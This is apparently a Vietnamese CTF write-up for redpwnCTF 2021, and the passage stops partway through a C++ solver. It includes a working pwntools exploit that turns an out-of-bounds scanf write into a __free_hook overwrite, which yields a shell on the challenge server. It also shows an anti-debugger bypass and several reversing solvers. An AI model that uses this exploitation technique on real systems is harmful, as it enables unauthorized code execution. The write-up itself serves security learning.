wannaShare | Writeup redpwnCTF 2021 | Pwn + Re + Crypto + Web

PHAPHA_JIàN
13:55 23/07/2021

CLB ATTTT Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

PWN

pivik

simultaneity

Reversing the binary

int main()
{
  size_t size;
  char *chunk;
  setvbuf(stdout, 0, 2, 0);
  puts("how big?");
  scanf("%ld", &size);
  chunk = (char *)malloc(size);
  printf("you are here: %p\n", chunk);
  puts("how far?");
  scanf("%ld", &size);
  puts("what?");
  scanf("%zu", &chunk[8 * size]);
  _exit(0);
}

Về mặt chức năng thì chương trình cho phép ta:

Lỗi ở đây là chương trình không check xem offset mà ta nhập có nằm trong phần chunk được malloc không, vậy nên sẽ dẫn tới lỗi out-of-bounds.

Khi mình malloc 1 chunk, ví dụ như là malloc(100) thì chunk sẽ nằm trong heap như bình thường. Nhưng gần địa chỉ của heap thì có gì thú vị? Do ASLR được bật nên địa chỉ heap được random mỗi lần chạy nên gần như là không thể tính toán được offset từ địa chỉ vừa được malloc tới libc. Vậy giờ làm sao đây? 🤔

Idea ở đây là mình sẽ malloc 1 chunk cực lớn(nhưng vẫn nằm trong giới hạn cho phép), thì chunk sẽ được allocate thông qua mmap, và địa chỉ này thì được align với libc nên có thể dễ dàng tính được libc base. Mình sẽ malloc 1 chunk có size là 1000000. Lúc này trên máy mình, địa chỉ được trả về là 0x7fa5cef75010.

pwndbg> vmmap
...
    0x55744f32a000     0x55744f32b000 r--p     1000 2000   /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity
    0x55744f32b000     0x55744f32c000 rw-p     1000 3000   /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity
    0x55744f32c000     0x55744f32d000 rw-p     1000 5000   /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity
    0x5574509bf000     0x5574509e0000 rw-p    21000 0      [heap]
    0x7fa5cef75000     0x7fa5cf06a000 rw-p    f5000 0      
    0x7fa5cf06a000     0x7fa5cf08c000 r--p    22000 0      /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6
    0x7fa5cf08c000     0x7fa5cf1d4000 r-xp   148000 22000  /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6
    0x7fa5cf1d4000     0x7fa5cf220000 r--p    4c000 16a000 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6
    0x7fa5cf220000     0x7fa5cf221000 ---p     1000 1b6000 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6
...

Như mọi người thấy thì địa chỉ đó giờ đã được align với libc. Vậy giờ ta sẽ overwrite gì trong libc?

Có 1 trick nữa là nếu ta truyền input rất lớn vào scanf, thì nó sẽ gọi cả malloc và free để chứa input trên heap, vậy thì target sẽ là __free_hook. Có 1 điều chú ý khi overwrite trong bài này. Do format string là %zu nên ta không thể truyền phần padding là chữ được, nhưng nếu truyền bằng số thì với lượng padding lớn như vậy, giá trị của __free_hook lúc đó sẽ là 0xffffffffffffffff. Thêm 1 trick nho nhỏ nữa là phần padding đó phải là số 0 vì nếu có nhập 0000000000000000000001 thì nó vẫn là 1.

Exploit code:

#!/usr/bin/env python3
from pwn import *
elf = ELF('./simultaneity')
libc = ELF('./libc.so.6')
p = remote('mc.ax', 31547)
p.recv()
p.sendline('1000000')
p.recvuntil('here: ')
leaked_addr = int(p.recvline().strip(), 16)
log.info('leaked_addr: ' + hex(leaked_addr))
libc_base = leaked_addr + 0xf4ff0
log.info('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info('__free_hook: ' + hex(free_hook))
free_hook_offset = (free_hook - leaked_addr)//8
log.info('free_hook_offset: ' + hex(free_hook_offset))
one_gadget = libc_base + 0x448a3
log.info('one_gadget: ' + hex(one_gadget))
payload = '0'*10000 + str(one_gadget)
p.recv()
p.sendline(str(free_hook_offset))
p.recv()
p.sendline(payload)
p.interactive()
pivik@kayvm: ~/CTF/redpwn/pwn/simultaneity -$ ./solve_simultaneity.py 
[*] '/home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to mc.ax on port 31547: Done
[*] leaked_addr: 0x7f49ac72a010
[*] libc_base: 0x7f49ac81f000
[*] __free_hook: 0x7f49ac9dc8e8
[*] free_hook_offset: 0x5651b
[*] one_gadget: 0x7f49ac8638a3
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
flag{sc4nf_i3_4_h34p_ch4l13ng3_TKRs8b1DRlN1hoLJ}

RE

Mochi Nishi

2k

Challenge

Entry point

File: chall prog.bin

Solve:

Chỉ cần nhìn vào đề bài là mình đoán được ngay đây là một bài virtual machine obfuscation. Nhiêm vụ duy nhất của chúng ta chỉ là debug một cách lì lợm để hiểu chương trình và viết script dịch opcodes. WriteUp bài này mình chỉ tóm gọn một vài chỗ đặc biệt trong chương trình.

Entry point

Đây là nơi mọi thư bắt đầu. Chương trình sẽ dịch từ opcodes trong file prog.bin thành một đoạn chương trình.
Theo như mình debug thì chương trình có tổng cộng 21 hàm tương ứng 21 opcodes. Mình viết một đoạn script nhỏ vm_parser.py để mô tả lại các dãy opcodes trong file prog.bin
Khi debug một lúc thì mình phát hiện đây chỉ là một bài tìm input thoả mãn "rất nhiều" điều kiện. Vì thế mình sẽ xài z3 solver để giải bài này.
Mình viết thêm 2 script z3_solver.py để tìm input và script_translate.py để in ra input đó. Thì ta có kết quả:

Entry point

Gửi lên server:

Entry point

flag{kenken_is_just_z3_064c4}

bread-making

Challenge

Entry point

File: wstrings

Solve:

nguyenguyen753@MochiZou:~/CTF/redpwn/bread-making$ file bread 
bread: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bc53c3fba45513551ddde163ba9a41e3f6dbab7b, for GNU/Linux 3.2.0, stripped

Bỏ vào IDA xem thử thì đoạn code này làm mình chú ý đầu tiên:

Entry point

Mình xem thử hàm sub_25C0():

Entry point

À, đây là hàm mình cần đi tới, mình sẽ đặt tên hàm này lại là goodMessage(). Ngoài ra, để đi đến để hàm này thì 5 biến trong các điều kiện if phải khác 0 hết. Mình sẽ lần lượt đặt các biến đó thành check1 ... check5:

Entry point

Mình còn có 1 đoạn code nhỏ ở phía trên của chương trình:

Entry point

Entry point

Ta có thể đoán được ngay đây là đoạn chương trình để kiểm tra điều kiện. Để ý kĩ thì ta có hàm alarm() và hàm signal(). Hàm alarm(t) có vai trò trong việc gửi signal cho process sau một khoảng thời gian t giây, ở đây alarm() sẽ gửi SIGALRM. Còn hàm signal(sig, sub) sẽ thực hiện chương trình sub nếu như nhận được tín hiệu sig từ chương trình. Chương trình sử dụng lệnh signal(14, handler), 14SIGALRM, vậy nghĩa là hàm handler sẽ được kích hoạt sau t giây. nhìn vô hàm handler:

Entry point

Đơn thuần chỉ là thoát chương trình. Ta có thể kết luận đây là một cơ chế anti-debugger. Để bypass đoạn này khi debug thì ta sẽ patch hàm alarm() lại thành các lệnh nop như sau:

Entry point

Entry point

Tới đây ta có thể debug để tìm hiểu chương trình. Sau một hồi debug thì mình thấy rằng chương trình có tổng cộng 11 câu hỏi, và ta phải trả lời đúng hết 11 câu hỏi đó thì 5 biến check sẽ được bật lên thành bit 1, từ đó ta sẽ có được flag. Tới đây mình xài pwntool để viết client-script để gửi lên server, đoạn chương trình như sau:

script.py

from pwn import *
r = remote("mc.ax", 31796)
#stage 1
print(r.recv())
r.sendline("add flour")
print(r.recv())
r.sendline("add yeast")
print(r.recv())
r.sendline("add salt")
print(r.recv())
r.sendline("add water")
#stage 2
print(r.recv())
print(r.recvuntil(b'lumpy dough\n'))
r.sendline("hide the bowl inside a box")
print(r.recv())
#stage 3
print(r.recvuntil(b'rise\n'))
r.sendline(b'wait 3 hours')
print(r.recvuntil(b'risen'))
#stage 4
print(r.recvuntil(b'dough\n'))
r.sendline(b'work in the basement')
print(r.recvuntil('tray'))
#stage 5
print(r.recvuntil(b'baked\n'))
r.sendline('preheat the toaster oven')
print(r.recvuntil(b'orange'))
#stage 6
print(r.recvuntil(b'minutes\n'))
r.sendline('set a timer on your phone')
print(r.recvuntil(b'down'))
#stage 7
print(r.recvuntil(b'time\n'))
r.sendline('watch the bread bake')
print(r.recvuntil(b'fire'))
#stage 8
print(r.recvuntil(b'waste\n'))
r.sendline('pull the tray out with a towel')
print(r.recvuntil(b'sink'))
#stage 9
print(r.recvuntil(b'air\n'))
r.sendline('unplug the oven')
print(r.recv())
r.sendline('unplug the fire alarm')
print(r.recv())
r.sendline('open the window')
print(r.recv())
#stage 10
r.sendline('wash the sink')
print(r.recv())
r.sendline('clean the counters')
print(r.recv())
r.sendline('flush the bread down the toilet')
print(r.recvuntil(b'of\n'))
r.sendline('get ready to sleep')
print(r.recv())
#final stage
r.sendline('close the window')
print(r.recv())
r.sendline('replace the fire alarm')
print(r.recvuntil(b'replaced\n'))
r.sendline('brush teeth and go to bed')
print(r.recv())
print(r.recv())

Chạy chương trình để lấy flag:

Entry point

flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

dimensionality

Challenge

Entry point

File: chall

Solve:

nguyenguyen753@MochiZou:~/CTF/redpwn/dimensionality$ file chall 
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=836b2f79d7f198a1ad5c5f9c5496138395ddf23a, for GNU/Linux 4.4.0, stripped

Entry point

Ta có thể liền thấy rằng hàm sub_1410() sẽ kiểm tra input, mình vào xem hàm này thử:

Entry point

Entry point

Một hồi ngồi static analysis thì mình nhận ra đây là một bài graph traversal: Cho một khối lập phương 11x11x11, số 2 là điểm bắt đầu, số 3 là điểm kết thúc, tìm đường đi từ điểm 2 tới điểm 3, với ràng buộc là đường đi chỉ chứa số 1, không được chứa số 0. Mình viết một script xài thuật toán bfs:

script1.cpp


#include <bits/stdc++.h>
using namespace std;
//input size = 29
int bfs_map[2000] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
int val = 0xb, start = 0x54, triple_val = 0xb * 0xb * 0xb;
string visited[2000];
queue < int > o;
void bfs() {
    o.push(start);
    while (o.size()) {
        int node = o.front();
        o.pop();
        if (bfs_map[node] == 3) break;
        //case 'b':
        int step = -(val * val);
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'b';
            o.push(node + step);
        }
        //case 'd':
        step = val;
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'd';
            o.push(node + step);
        }
        //case 'f':
        step = (val * val);
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'f';
            o.push(node + step);
        }
        //case 'l':
        step = -1;
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'l';
            o.push(node + step);
        }
        //case 'r':
        step = 1;
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'r';
            o.push(node + step);
        }
        //case 'u':
        step = -val;
        if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) {
            visited[node + step] = visited[node] + 'u';
            o.push(node + step);
        }
    }
}
int main() {
    bfs();
    cout << visited[1296] << endl;
    return 0;
}

Như các bạn đã thấy thì mình đặt tên file này là script1.cpp. Đúng vậy, script này bị lỗi.
Script vẫn chạy ra kết quả và mình đã test thử:

Entry point

Như đã thấy trong hình thì chương trình không trả về flag mà trả về các kí tự rác. Lúc này mình mới nhận ra kết quả của bài toán này không phải là duy nhất. Nên mình đã viết một version 2 cho script này:

script2.cpp

#include <bits/stdc++.h>
using namespace std;
//input size = 29
struct data {
    int node;
    string trace;
};
int bfs_map[2000] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
int val = 0xb, start = 0x54, triple_val = 0xb * 0xb * 0xb;
int visited[2000];
vector < string > res;
queue < data > o;
void bfs() {
    o.push({start, ""});
    while (o.size()) {
        data node = o.front();
        o.pop();
        if (bfs_map[node.node] == 3) {
            res.push_back(node.trace);
            continue;
        }
//        cout << node.node << endl;
        //case 'b':
        int step = -(val * val);
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'b';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'b';
                o.push({node.node + step , trace});
            }
        }
        //case 'd':
        step = val;
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'd';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'd';
                o.push({node.node + step , trace});
            }
        }
        //case 'f':
        step = (val * val);
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'f';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'f';
                o.push({node.node + step , trace});
            }
        }
        //case 'l':
